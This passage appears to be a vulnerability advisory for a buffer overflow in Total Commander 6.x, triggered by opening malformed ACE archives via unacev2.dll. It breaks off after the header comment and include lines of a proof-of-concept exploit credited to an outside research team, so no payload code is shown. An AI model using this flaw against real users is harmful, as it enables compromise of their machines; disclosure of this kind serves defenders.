Total Commander is a file manager for Windows, a program like Windows Explorer to copy, move or delete files. However, Total Commander can do much more than Explorer, e.g. pack and unpack files, access ftp servers, compare files by content, etc!
Total Commander is vulnerable to a buffer overflow when opening malformed ace archive files.
Vulnerable Systems:
* Total Commander versions 6.x
Exploit:
/*
--
/\
\/ Total Commander unacev2.dll Buffer Overflow PoC Exploit
/\ by Darkeagle of Unl0ck Research Team
\/ http://unl0ck.net
/\
\/ when file will be created, try to open archive in TotalCmd and then unpack it ;)
/\
\/
--
*/
#include <string.h>
#include <stdio.h>
